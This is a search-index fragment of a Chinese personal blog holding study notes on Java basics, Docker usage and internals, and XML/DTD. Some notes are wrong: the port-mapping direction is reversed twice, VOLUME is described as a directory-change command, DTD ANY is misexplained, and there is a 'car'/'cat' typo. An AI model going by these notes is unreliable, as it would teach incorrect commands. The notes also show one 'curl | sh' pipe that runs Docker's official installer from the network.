*.java\njava已放弃学习，主打golang和Python了（java又臭又长，快来加入golang教吧）\n","permalink":"https://chenjunlinabc.github.io/posts/19/","summary":"java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成\njava的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行\njava编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑\njava分为Java SE、Java EE 和 Java ME。\n类的命名：必须是英文开头，后可字母，数字和下划线\n一般为大写字母开头\n例如：\npublic class Abc\npublic是访问修饰符，表示该class为公开，如果没有写pulic，也可以正常编译，但是这个class将不能在命令行中执行\n在class内部可以定义方法，例如:\npublic static void main(String[] args){}\n这个例子的方法名为main，返回值为void，表示没有返回值，空\nstatic是一个关键字，同样也是修饰符，表示静态方法\njava入口程序必须是静态方法，方法名也必须为main，参数必须为String数组\n在方法内部，语句才能执行，每一行程序都必须要以分号结束;\n// 单行注释\n/*\n多行注释\n*/\n/** *\n一样是多行注释 */\njava的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）\n变量必须先定义，后赋值使用，例如：\nint a = 1;\n定义为int整数类型，名称为a，初始值为1\n变量的特点就是可以重新赋值\nint i = 1; // 定义int类型，名称为i，赋值为1\ni = 100; // 重新赋值为100\nint x = i; // 变量x的值为i，因为i的值为100，所以x的值为i\n整型\n整型类型：int，byte，short，long\n整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;","title":"JAVA基础学习笔记"},{"content":"docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行\n可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题\n将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境\n在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现\n运行在相同的宿主机的容器是共享一个操作系统的，而且容器具备启动快，移植性强的特点（不用担心本地运行好好的，到生产环境就出一堆问题）\ndocker的多数项目和工具是使用golang编写的\nDocker容器技术高度依赖于Linux内核，不管是在windwos或者Mac OS上都不是真正的容器化（只有在Linux系统上才能实现无虚拟化的真正容器化），都是在虚拟化Linux之后，在Linux虚拟机的基础上实现的\nDocker三大件：镜像，容器，仓库\n镜像被用来创建容器（而且镜像文件是复用，只可读的）\n容器是镜像文件的实例，容器与容器之间是隔离的，容器可被启动，查看，暂停，退出，重启，删除\n仓库是集中存储镜像文件的地方，Docker官方仓库：https://hub.docker.com/\nDocker官网文档：https://docs.docker.com/\nDocker是基于C/S架构（Client-Server）的系统，Docker的守护进程（Docker Daemon）运行在服务端上，客户端通过Docker Client和守护进程建立通信，守护进程可以接收客户端发送的指令并且可以管理服务端的容器\nDocker Engine（引擎）会执行客户端发送的指令，来执行Docker内部的工作，每一项工作以Job的形式存在（一个job表示一个工作任务）\n如果job（工作任务）需要镜像时，会从Docker Registry中下载获取镜像（如果本地存在则从本地获取，如果没有再从远程仓库获取）\n当Docker容器需要创建网络环境时，通过Network driver创建并且配置Docker容器网络环境（通过网桥来暴露对外的端口和ip）\n如果需要限制Docker容器运行资源或者执行用户指令时，通过Exec driver完成\n网络的配置以及Exec driver的实现都是通过Libcontainer来实现的，Libcontainer是用来管理容器的包，该包基于go语言开发的，像创建容器，删除容器等等都可通过Libcontainer完成\n安装docker（环境为ubuntu20.04）\n如果之前安装过docker，需要先卸载\nsudo apt remove docker docker-engine docker.io containerd runc\ndocker官方推荐使用docker的存储库来安装或者升级，而不是通过脚本或者通过下载deb软件的方式来安装\n安装依赖\nsudo apt install ca-certificates curl gnupg lsb-release\n配置docker官方的GPG密钥\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg \u0026ndash;dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg\n配置稳定Docker CE源\nsudo add-apt-repository \u0026ldquo;deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable\u0026rdquo;\n安装docker引擎\nsudo apt install docker-ce docker-ce-cli containerd.io\n或者直接使用docker官方提供的sh脚本\ncurl -s https://get.docker.com | sh （不推荐使用）\n如果需要安装指定版本的docker，可指定docker-ce和docker-ce-cli的版本\n查看源仓库中可安装的docker的版本\napt-cache madison docker-ce\n启动docker服务\nservice docker start\n关闭docker服务\nservice docker stop\n重启docker服务\nservice docker restart\n检查是否安装成功（创建一个测试容器，并且执行该容器，该容器会返回信息并且退出）\nsudo docker run hello-world\n或者docker version\n查看所有镜像\ndocker image ls或者docker images\n查看所有容器\ndocker ps\ndocker ps -a # 输出所有容器（包括未运行的）\ndocker ps -q # 只输出容器id\ndocker ps -a -q # 输出所有容器id\ndocker ps -n 5 # 输出最近创建的5个容器\ndocker ps -l # 显示最近创建的容器\nREPOSITORY：镜像名称，TAG：镜像的标签（一般为该镜像的版本号），IMAGE ID：镜像id，CREATED：镜像创建时间，SIZE：镜像大小\n镜像id实质上为该镜像的sha256\n注意：如果不指定版本，将默认使用latest版本的镜像\ndocker system df # 查看Docker的磁盘使用情况\ndocker stop 容器id（或者容器名都可以） -f # 关闭指定容器，-f为强制删除\ndocker stop $(docker ps -a -q) # 关闭所有容器\n删除指定容器\ndocker image rm 容器名称 # 例如 docker image rm centos\ndocker rmi 容器id # 删除指定镜像\ndocker rmi $(docker images -a -q) # 删除所有镜像\n查看所有正在运行的容器\ndocker container ls或者docker ps\n查看所有的容器（包括已经停止运行的）\ndocker container ls \u0026ndash;all\n运行指定容器\ndocker container run 镜像名\n或者\ndocker run 镜像名\n启动容器\ndocker start 容器ID或者容器名\n重启容器\ndocker restart 容器ID或者容器名\n停止容器\ndocker stop 容器ID或者容器名\n强制停止运行容器\ndocker kill 容器ID或者容器名\n删除已经停止运行的容器\ndocker rm 容器ID\n注意：rm是删除容器，rmi是删除镜像\ndocker exec -it 容器ID bash # 在容器中打开新终端，并且启动新的进程，在这个情况下使用exit退出不会导致容器的暂停，而attach会导致容器的暂停，推荐使用exec\ndocker attach 容器ID # 直接进入容器启动命令的终端，不启动新的进程\ndocker run -it ubuntu /bin/bash # i表示以交互模式运行容器，t为给容器创建一个伪终端（搭配使用就是交互式容器）\ndocker run \u0026ndash;name=\u0026ldquo;容器的新名称\u0026rdquo; 镜像名 # 为容器指定新名称，如果不指定，容器名称默认为镜像名\ndocker run -d 镜像名 # 后台运行容器并且返回容器id（以守护进程的方式后台运行容器）\ndocker run -p 80:8080 镜像名 # 运行并且映射指定容器的80端口到物理机的8080端口\ndocker run -P 镜像名 # 随机端口映射，不常用\n获取容器（从镜像源（docker hub）中下载到本地，docker提供大量已经配置好的容器，可以直接下载使用，修改）\ndocker image pull 镜像名 # 拉取某个镜像\ndocker search 镜像名 # 搜索查找某个镜像\nNAME：容器仓库名称，DESCRIPTION：容器描述，STARS：类似github的star，关注，喜欢 OFFICIAL：是否为官方，AUTOMATED：是否为自动构建\ndocker cp 容器id:容器内部的路径 目标主机的路径 # 将容器的文件备份（拷贝）到主机中\n导出导入容器（备份容器）\ndocker export 容器id \u0026gt; 文件x.tar # 导出容器\ncar 文件x.tar | docker import - 镜像用户/镜像名:镜像版本号 # 导入容器\n修改容器源\n国内容器源\nhttp://hub-mirror.c.163.com # 网易云\nhttps://docker.mirrors.ustc.edu.cn # 中国科技大学\nhttps://mirror.ccs.tencentyun.com # 腾讯云\ndocker run hello-world \u0026ndash;registry-mirror=https://mirror.ccs.tencentyun.com 容器名 # 只对当前指令起作用\n找到/etc/default/docker 插入\nDOCKER_OPTS=\u0026quot;\u0026ndash;registry-mirror=https://mirror.ccs.tencentyun.com\u0026quot;\n或者\n找到/etc/docker/daemon.json，插入\n{\u0026ldquo;registry-mirrors\u0026rdquo;: [\u0026ldquo;https://mirror.ccs.tencentyun.com\u0026rdquo;]} # 可以插入多个源\n然后重启服务\n如果dockerhub满足不了，可以在hub已存在的容器中进行修改（安装，卸载\u0026hellip;）\n或者使用Dockerfile，从零开始构建容器\nmkdir hallo \u0026amp;\u0026amp; cd hallo # 新建一个文件夹，并且进入这个文件夹\nnano Dockerfile # 新建个文件，并且修改它\nFROM ubuntu:18.04 RUN apt -y update \u0026amp;\u0026amp; apt install -y nginx \u0026amp;\u0026amp; apt install -y mariadb-server \u0026amp;\u0026amp; apt install -y php*\nFROM：基础镜像,操作都是基于这个基础镜像，RUM：执行指定指令（shell）\n其他参数，MAINTAINER：容器创建者，CMD：当容器启动时执行命令，只能有一条CMD命令，多条执行最后一条，容器run命令会覆盖cmd命令\nENTRYPOINT：当容器启动时执行命令，不可覆盖\nUSER：指定哪个用户来启动容器\nEXPOSE：容器内部开启端口，一般用于容器端口映射到主机端口上\nENV：环境变量\nADD：复制或者下载到容器，请确保本地或者docker仓库中有需要add的文件，例如：\nADD 文件路径（或者url） 目标容器的绝对路径\nVOLUME：切换目录用，类似cd\n打包容器\ndocker build -t 容器名 .\n这个“.”表示为当前路径\n如果正在运行docker，想退出可以使用ctrl+D，例如\n在centos中体验Ubuntu系统\n例如docker container run -it ubuntu bash\n如果想退出docker，可以在docker（run进去的容器）中输入exit\n如果想docker中的容器不停止， 快捷键 ctrl+p+q\n推送本地容器到docker仓库中\n首先需要一个docker仓库账号，例如https://hub.docker.com/或者https://cr.console.aliyun.com/cn-hangzhou/new # 阿里容器镜像服务，\ndocker login -u 账号 -p 密码 # 登录DockerHub账号\ndocker push hallo_word:yes\ndocker pull会默认推送带有latest标签的容器到本地，所以推荐把容器标签修改为latest，或者直接指定要推送哪个容器，精确到标签\ndocker tag hallo_word:yes hallo_word:latest\n推送到第三方仓库（例如：阿里容器镜像服务）\ndocker pull registry.cn-hangzhou.aliyuncs.com/xxx/xxx:latest # 推送容器到本地\ndocker login \u0026ndash;username=xxx@qq.com registry.cn-hangzhou.aliyuncs.com # 登录的用户名为阿里云账号全名，密码为开通服务时设置的密码，如果是私有仓库，那么需要推送容器到本地之前执行，推送容器到本地之后再执行一次\ndocker tag 容器id registry.cn-hangzhou.aliyuncs.com/xxx/xxx:latest # 推送到阿里容器仓库\n端口映射（实质上并不是docker容器技术实现的，是利用了iptables）\ndocker配置文件hostconfig.json\ndocker run -d -p 8000:80 ubuntu // 将容器的8000端口映射到宿主机上的80端口\ndocker为啥比虚拟机性能好\ndocker不需要硬件资源的虚拟化，docker的容器的软件是可以直接使用物理机的硬件资源的（更好的利用硬件资源），而且docker是直接调用的宿主机的内核，不需要重新加载操作系统的OS内核（减少不必要的浪费）\n虚悬镜像（dangling image）：指的是仓库名，标签都是的镜像，一般出现在删除镜像出错时\n查找虚悬镜像\ndocker image ls -f dangling=true\n删除虚悬镜像\ndocker image prune #删除所有dangling image\n镜像是一种独立，可执行，轻量级的软件包，包含某个软件需要的所有内容，这个镜像包含应用程序，应用的配置依赖，这个镜像实质上就是一个可交付的运行环境\n镜像分层系统实现依赖于UnionFS\nUnionFS（联合文件系统）：是一种分层，轻量级的高性能文件系统，支持对文件系统的修改作为一次提交来一层一层的叠加，并且将不同的目录挂载到同一个虚拟文件系统下\n镜像可通过分层来基于基础镜像来制造各种应用镜像\nDocker镜像加载原理：通过UnionFS来一层一层组成，bootfs（boot file system）加载和引导内核，当boot加载完毕，内存使用权从bootfs转交到内核，系统卸载bootfs\nrootfs（root file system）就是操作系统，包含Linux系统中标准的/bin，/etc等目录\nDocker镜像为啥这么小的原因就是镜像只包含bootfs和rootfs，复用宿主机的内核\n镜像分层的好处：可复用，方便共享（复制迁移）资源，镜像的每一层都可以被共享，可复用\n镜像层是只读，容器层是可写的，当一个容器被启动，一个可写层被加载到镜像的顶部时，那么这一层被叫为容器层，容器层之下的都被叫为镜像层\ncommit命令提交副本来创建新镜像\ndocker commit -m=\u0026ldquo;注释\u0026rdquo; -a=\u0026ldquo;作者\u0026rdquo; 容器id 用户/镜像名:镜像版本号\n搭建私有仓库\ndocker私有仓库（Docker Registry）\nDocker Registry是docker提供的镜像，专门用来构建docker私有仓库\ndocker pull registry # 拉取Registry镜像\ndocker run -d -p 5000:5000 -v /test/registry/:/tmp/registry \u0026ndash; privileged=true registry\n默认情况下，仓库被创建在容器的/var/lib/registry目录下（当然也可以通过容器卷来映射）\ndocker tag ubuntu 192.168.1.110:5000/ubuntu # 修改tag为符合私有仓库的规范\n这个私有仓库默认不支持http推送，需要修改/etc/docker/daemon.json\n\u0026ldquo;insecure-registries\u0026rdquo;: [\u0026ldquo;192.168.1.110:5000\u0026rdquo;]\n如果不生效，请重启docker服务\n推送镜像到私有仓库\ndocker push 192.168.1.110:5000/ubuntu\n查看私有仓库存储的镜像\ncurl -XGET http://192.168.1.110:5000/v2/_catalog\n获取私有仓库镜像到本地\ndocker pull 192.168.1.110:5000/ubuntu\n容器数据卷\n-v参数为启动自定义容器数据卷\n比如说docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry \u0026ndash; privileged=true registry\n/test/registry/为宿主机路径，/tmp/registry为容器内部路径，\u0026ndash; privileged=true为开启privileged，（开启privileged后，容器内部的root才拥有真正的root权限，否则容器的root只是普通用户权限）\n容器数据卷用于数据的持久化（独立于容器的生命周期），可绕过联合文件系统来达到持续存在或者共享数据的目的，docker不会在删除容器时，删除容器挂载的数据卷，数据卷指定容器内部路径，任何在该路径存储的数据，都会被映射到宿主机指定的那个目录下\n在数据卷中的任何更改都不会认为是镜像的更新，而且数据卷中的更改是实时生效的（不需要重启容器之类的，哪怕容器没有启动），数据卷的生命周期长（可持续到没有容器使用它为止）\n数据卷被用于容器和宿主机之间的互通互联，在宿主机中更新的文件，会实时在容器中生效\ndocker inspect 镜像名或者镜像id # 获取容器/镜像的元数据\n数据卷在该镜像的元数据的Mounts属性中找到\n数据卷默认可读可写（rw），可通过ro来限制容器内部只能读，不能写\n默认情况下\ndocker run -d -p 5000:5000 -v /test/registry/:/tmp/registry:rw \u0026ndash; privileged=true registry\n因为rw是默认的，可以省略不写\n限制容器只能读取数据卷，不能写（ro，read only）\ndocker run -d -p 5000:5000 -v /test/registry/:/tmp/registry:ro \u0026ndash; privileged=true registry\n数据卷的继承（\u0026ndash;volumes-from）\ndocker run -it \u0026ndash; privileged=true \u0026ndash;volumes-from 容器1 \u0026ndash;name 容器2 registry\n容器2继承容器1的数据卷规则（哪怕容器1被删除了或者停止运行了，依然不会影响到容器2的数据卷）\ndocker network\ndocker network可用于容器之间的互联以及通信（端口映射），可通过服务名来直接通信（不受IP变动而影响）\ndocker会默认创建一个叫docker0的虚拟网桥（bridge网络模式）\ndocker0网桥会在内核层连通其他网络网卡和虚拟网卡，实现所有的容器和本地主机的网络连接（同一个物理网络）\ndocker会默认创建三个网络模式，分别为bridge（默认），host，none\n可通过docker network ls命令查看\n创建网络\ndocker network create hallo\n删除网络\ndocker network rm hallo\n查看网络的详细信息\ndocker network inspect bridge\nbridge网络模式：为容器分配和设置IP，并且将容器分配到docker0网桥（如果不指定-network，创建的容器默认在该模式上）（\u0026ndash;network bridge，可忽略）\nhost网络模式：容器不会虚拟网卡，而是直接使用宿主机的ip和端口和外界通信（不需要额外进行NAT转换，没有独立的Network namespace，而是和宿主机共用一个Network namespace）（\u0026ndash;network host）\nnone网络模式：该模式的容器有自己的独立网络规则（Network namespace），但是没有进行配置，需要手动配置docker容器网络（发挥网络定制功能，没有虚拟网卡，没有IP等等网络信息），在该模式下只有一个127.0.0.1的本地网络回环接口（lo）（\u0026ndash;network none）\ncontainer网络模式：该模式下的容器不会配置自己的IP，而是和指定的容器共享IP和端口范围（网络共用，文件和进程隔离）（\u0026ndash;network container:指定容器名或者容器ID）\n自定义网络模式（可通过服务名（容器名/主机名）来通信，docker network create hallo）\ndocker-compose容器编排\ndocker-Compose是Docker官方提供的Docker容器集群快速编排工具，用于管理多个docker容器组成的应用，通过docker-compose.yml配置文件来管理多个容器之间的调用关系\n官方文档https://docs.docker.com/compose/\n下载文档：https://docs.docker.com/compose/install/\n下载docker-Compose sudo curl -L \u0026ldquo;https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)\u0026rdquo; -o /usr/local/bin/docker-compose\n添加写的权限 sudo chmod +x /usr/local/bin/docker-compose\n测试是否安装完成 docker-compose \u0026ndash;version\n构建并且启动容器（执行docker-compose.yml配置文件）（加参数-d为启动服务并且后台运行） docker-compose up\n构建或者重新构建服务 docker-compose build\n删除指定服务的容器 docker-compose rm 容器名\n停止并且删除容器，镜像，网络，卷 docker-compose down\n进入容器 docker-compose exec 服务id\n查看当前docker-compose编排的全部容器 docker-compose top\n查看当前docker-compose编排的容器进程 docker-compose ps\n停止docker-compose服务 docker-compose stop\n启动docker-compose服务 docker-compose start\n重启docker-compose服务 docker-compose restart\n检查配置文件（-q参数表示当配置文件出现问题时才输出信息） docker-compose config\n容器的7种状态：\ncreated（已创建） restarting（重启中） running或up（运行中） removing（迁移中） paused（暂停） exited（停止） dead（死亡）\ndocker-compose.yml配置文件\nversion: \u0026quot;3.9\u0026quot; services: web: build: context: . dockerfile: Dockerfile_test ports: - \u0026quot;5000:5000\u0026quot; volumes: - /app/test:/data/app links: - redis networks: - hallo_net redis: image: redis command: redis-server /etc/redis/redis.conf networks: hallo_net: version字段为版本号（具体支持的版本和docker-compose安装的版本有关，具体看实质版本），services字端表示服务容器，services字端下面的服务名的image字段为从指定镜像中启动容器（镜像可本地，可仓库或者镜像ID），ports字段为端口映射，networks字段为指定网络模式，volumes字段为容器数据卷\n外面那个networks字段将会创建hallo_net自定义网络模式，处理基于指定镜像外，还可以基于Dockerfile，build字段下的dockerfile字段就是指定Dockerfile文件所在的路径，context字段为构建的路径，links字段为链接到指定服务中的容器\n一般都是通过Dockerfile自动化构建镜像，然后基于这个镜像使用docker-compose管理容器\nPortainer可视化工具\nPortainer是一个Docker轻量级的可视化工具（Portainer官网，https://www.portainer.io，官网文档：https://docs.portainer.io/v/ce-2.11/start/install/server/docker/linux）\n可直接pull Portainer的镜像来安装\ndocker pull portainer/portainer\ndocker run -d -p 8000:8000 -p 9443:9443 --name portainer \\ --restart=always \\ -v /var/run/docker.sock:/var/run/docker.sock \\ -v portainer_data:/data \\ portainer/portainer-ce:2.11.1 启动完毕后，访问1192.168.1.110:9443/，进行设置admin用户和密码\n如果是监控本地的docker，选择local\nCAdvisor+InfluxDB+Granfana(CIG重量级容器监控)\ndocker依赖多种namespace来进行隔离（例如User Namespace，容器用户和宿主用户隔离，process id Namespace，隔离进程id，network Namespace，隔离网络设备，端口号，mount Namespace，隔离挂载等等），依赖于cgroup进行资源管理和控制（例如cpu，内存），namespace和cgroup都由自Linux内核提供\ndocker使用了6种namespace，分别是，mount namespace，uts namespace，ipc namespace，network namespace，pid namespace，user namespace\nmount Namespace：隔离不同进程的挂载数据，保证容器的挂载操作不会影响到宿主的挂载\nsudo unshare \u0026ndash;mount \u0026ndash;fork /bin/bash # 创建一个mount Namespace，使用/bin/bash进程，在该挂载任何文件，都不会作用于宿主\npid namespace是隔离进程的pid的，也就是说宿主是看不到容器的应用pid，容器也看不到宿主的pid\nsudo unshare \u0026ndash;pid \u0026ndash;fork \u0026ndash;mount-proc /bin/bash\n安全容器：容器运行在虚拟机中，具备虚拟机的安全隔离性，例如kata Container，使用guest kernel（精简了内核，专门提供给容器运行，减低资源的消耗）\n因为docker容器共享宿主内核，存在安全性，所以可使用安全容器来隔离宿主内核，安全容器的内核是完全独立于宿主的内核（虚拟化技术）\ndocker容器资源限制\ndocker run -it \u0026ndash;cpus=4 -m=8192 \u0026ndash;pids-limit=1000 ubuntu /bin/bash # 启动ubuntu镜像，使用/bin/bash作为终端，资源被设置为4核8g，并且只能创建1000个pid\ndocker stats ubuntu # 查看容器的资源使用情况\ncAdvisor是谷歌开源的容器监控工具，不但可以监控容器的资源使用情况，还可以监控宿主的资源使用情况，可查看容器的历史资源使用情况\ndocker run \\ --volume=/:/rootfs:ro \\ --volume=/var/run:/var/run:ro \\ --volume=/sys:/sys:ro \\ --volume=/var/lib/docker/:/var/lib/docker:ro \\ --volume=/dev/disk/:/dev/disk:ro \\ --publish=8080:8080 \\ --detach=true \\ --name=cadvisor \\ --privileged \\ --device=/dev/kmsg \\ gcr.io/cadvisor/cadvisor:$VERSION 访问http://localhost:8080\n容器的资源限制通过/sys/fs/cgroup/memory/docker下的，目录名为容器id，其中memory.limit_in_bytes是该容器的内存限制文件，memory.usage_in_bytes是该容器的内存使用情况，proc/容器的pid/net/dev是该容器的网络使用情况，cpuset.cpus是cpu限制使用核数，cpu.cfs_period_us是一个cpu核心的带宽（单位微秒，容器的cpu总带宽=cpu核心数*单个cpu核心的带宽），cpu.cfs_quota_us是可使用cpu带宽（单位微秒，-1为不限制）\n容器监控工具实质上是通过读取和记录宿主的文件来显示容器资源情况的，所以启动容器监控工具，要映射数据卷/sys:到容器中\nkubernetes简称k8s，用来自动化容器的部署，监控，容器负载均衡等等\nmaster是容器集群的控制系统，可以用来监控容器的状态，调度负载均衡\nnode是k8s的工作节点，可以接收master的指令，根据指令来创建和销毁Pod等等\nPod是容器的容器，可以包含多个容器，是k8s中最小的可部署单元，pod内部的网络是互通的，每一个pod都有自己的虚拟ip\nk8s将弃用dockershim（dockershim是k8s内置的一个组件，该组件可让k8s能够通过CRI（Container Runtime Interface）来操作docker）\n安装docker\n配置docker\n添加docker官方GPGkey\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -\nsudo apt-key fingerprint 0EBFCD88\n安装依赖\nsudo apt install apt-transport-https ca-certificates curl software-properties-common\n设置docker仓库\nsudo add-apt-repository \u0026ldquo;deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable\u0026rdquo;\n重新加载源\nsudo apt update\n如果报错，可以手动在/etc/apt/source.list添加\ndeb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable\nsudo apt dist-upgrade（智能处理包依赖，会自己安装新软件或者删除原有软件包来完成升级）\n安装docker\nsudo apt install docker-ce docker-ce-cli containerd.io\n","permalink":"https://chenjunlinabc.github.io/posts/18/","summary":"docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行\n可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题\n将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境\n在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现\n运行在相同的宿主机的容器是共享一个操作系统的，而且容器具备启动快，移植性强的特点（不用担心本地运行好好的，到生产环境就出一堆问题）\ndocker的多数项目和工具是使用golang编写的\nDocker容器技术高度依赖于Linux内核，不管是在windwos或者Mac OS上都不是真正的容器化（只有在Linux系统上才能实现无虚拟化的真正容器化），都是在虚拟化Linux之后，在Linux虚拟机的基础上实现的\nDocker三大件：镜像，容器，仓库\n镜像被用来创建容器（而且镜像文件是复用，只可读的）\n容器是镜像文件的实例，容器与容器之间是隔离的，容器可被启动，查看，暂停，退出，重启，删除\n仓库是集中存储镜像文件的地方，Docker官方仓库：https://hub.docker.com/\nDocker官网文档：https://docs.docker.com/\nDocker是基于C/S架构（Client-Server）的系统，Docker的守护进程（Docker Daemon）运行在服务端上，客户端通过Docker Client和守护进程建立通信，守护进程可以接收客户端发送的指令并且可以管理服务端的容器\nDocker Engine（引擎）会执行客户端发送的指令，来执行Docker内部的工作，每一项工作以Job的形式存在（一个job表示一个工作任务）\n如果job（工作任务）需要镜像时，会从Docker Registry中下载获取镜像（如果本地存在则从本地获取，如果没有再从远程仓库获取）\n当Docker容器需要创建网络环境时，通过Network driver创建并且配置Docker容器网络环境（通过网桥来暴露对外的端口和ip）\n如果需要限制Docker容器运行资源或者执行用户指令时，通过Exec driver完成\n网络的配置以及Exec driver的实现都是通过Libcontainer来实现的，Libcontainer是用来管理容器的包，该包基于go语言开发的，像创建容器，删除容器等等都可通过Libcontainer完成\n安装docker（环境为ubuntu20.04）\n如果之前安装过docker，需要先卸载\nsudo apt remove docker docker-engine docker.io containerd runc\ndocker官方推荐使用docker的存储库来安装或者升级，而不是通过脚本或者通过下载deb软件的方式来安装\n安装依赖\nsudo apt install ca-certificates curl gnupg lsb-release\n配置docker官方的GPG密钥\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg \u0026ndash;dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg\n配置稳定Docker CE源\nsudo add-apt-repository \u0026ldquo;deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable\u0026rdquo;\n安装docker引擎\nsudo apt install docker-ce docker-ce-cli containerd.","title":"Docker容器的简单使用"},{"content":"xml中文全称为可扩展标记语言（Extensible Markup Language）\nxml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的\nxml声明，该声明位在xml文档的第一行，结尾\nversion属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档\nxml的标记也可以像html一样，认为是元素，一般由开始标签，属性，内容，结束标签组成，例如xml\n和就是xml文档中的标签（元素），和html一样，可以嵌套n个子元素，如果一个元素没有被嵌套到其他元素上，那么这个元素就是根元素\n一般来说一个格式良好的xml文档只有一个根元素，而且根元素是xml文档的第一个元素，如果一个元素没有嵌套子元素也没有内容，那么这个元素为空元素，空元素不需要结束标签，例如\n属性是元素的描述和说明，可以使用多个属性，每个属性都有自己名称和值，值用\u0026quot;\u0026ldquo;或者\u0026rsquo;\u0026lsquo;包起来\nxml的注释方式和html一样，\nDTD约束\nXML是自定义标签，浏览器不知道这个标签是用来干什么的，因此制定的一套约束，遵循一定的语法\nDTD约束写在一个DTD文件里，dtd导入，例如：\n如果导入了本地的DTD文档，那么standalone属性的值不能为yes\nDTD除了导入外，还可以内嵌，例如\n元素内容包括元素的声明，包括数据类型和符号\nPCDATA 中文意思就是被解析的字符数据，会被解析器解析\n子元素 例如\n空元素 一般用来定义空元素\nANY 表示这个元素没有包含任何字符数据和子元素，例如，在实际开发中，尽量不要使用ANY，除了根元素外，其他使用ANY的元素会失去DTD对XML的约束\n符号\n问号?:表示该对象可以出现0次或者1次 星号*:表示该对象可以出现0次或者多次 加号+:表示该对象可以出现1次或者多次 竖线|:表示在列出的对象中选择一个 逗号,:表现对象必须按照指定的顺序出现 括号():用于给元素进行分组\nDTD除了给定义元素外，也可以为元素定义属性\n属性类型指定该属性是属性哪个类型的，属性说明一般用来说明该属性是否必须出现\n属性类型\nCDTATA // 表示属性类型为字符数据，如果想在属性设置值中出现特殊符号（例如\u0026lt;），那么需要使用其转义字符序列来表示，例如 \u0026ldquo;\u0026lt;\u0026ldquo;来表示\u0026rdquo;\u0026lt;\u0026rdquo;\nEnumerated(枚举类型) // 在声明一个属性时，可以限制该属性的取值只能从一个列表中选择，但是在DTD文档中不会出现Enumerated关键字，用法例如：\nID // 表示该属性类型为唯一标识，一个元素只能有一个id类型的属性，而且属性说明必须为REQUIRED或者IMPLIED\nIDREF和IDREFS // 一般用来关联元素与元素之间的关系，而且IDREF类型的属性的值必须为一个已经存在的ID类型的属性值，例如：\n1 2\n说明ID为01和02的元素之间，存在关联\nIDREFS就是引用多个ID类型的属性值，例如：\n1\n属性说明\nREQUIRED // 表示这个元素的这个属性是必须的\nIMPLIED // 表示这个元素可以包含这个属性，也可以不包含\nFIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值\n默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值\n","permalink":"https://chenjunlinabc.github.io/posts/17/","summary":"xml中文全称为可扩展标记语言（Extensible Markup Language）\nxml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的\nxml声明，该声明位在xml文档的第一行，结尾\nversion属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档\nxml的标记也可以像html一样，认为是元素，一般由开始标签，属性，内容，结束标签组成，例如xml\n和就是xml文档中的标签（元素），和html一样，可以嵌套n个子元素，如果一个元素没有被嵌套到其他元素上，那么这个元素就是根元素\n一般来说一个格式良好的xml文档只有一个根元素，而且根元素是xml文档的第一个元素，如果一个元素没有嵌套子元素也没有内容，那么这个元素为空元素，空元素不需要结束标签，例如\n属性是元素的描述和说明，可以使用多个属性，每个属性都有自己名称和值，值用\u0026quot;\u0026ldquo;或者\u0026rsquo;\u0026lsquo;包起来\nxml的注释方式和html一样，\nDTD约束\nXML是自定义标签，浏览器不知道这个标签是用来干什么的，因此制定的一套约束，遵循一定的语法\nDTD约束写在一个DTD文件里，dtd导入，例如：\n如果导入了本地的DTD文档，那么standalone属性的值不能为yes\nDTD除了导入外，还可以内嵌，例如\n元素内容包括元素的声明，包括数据类型和符号\nPCDATA 中文意思就是被解析的字符数据，会被解析器解析\n子元素 例如\n空元素 一般用来定义空元素\nANY 表示这个元素没有包含任何字符数据和子元素，例如，在实际开发中，尽量不要使用ANY，除了根元素外，其他使用ANY的元素会失去DTD对XML的约束\n符号\n问号?:表示该对象可以出现0次或者1次 星号*:表示该对象可以出现0次或者多次 加号+:表示该对象可以出现1次或者多次 竖线|:表示在列出的对象中选择一个 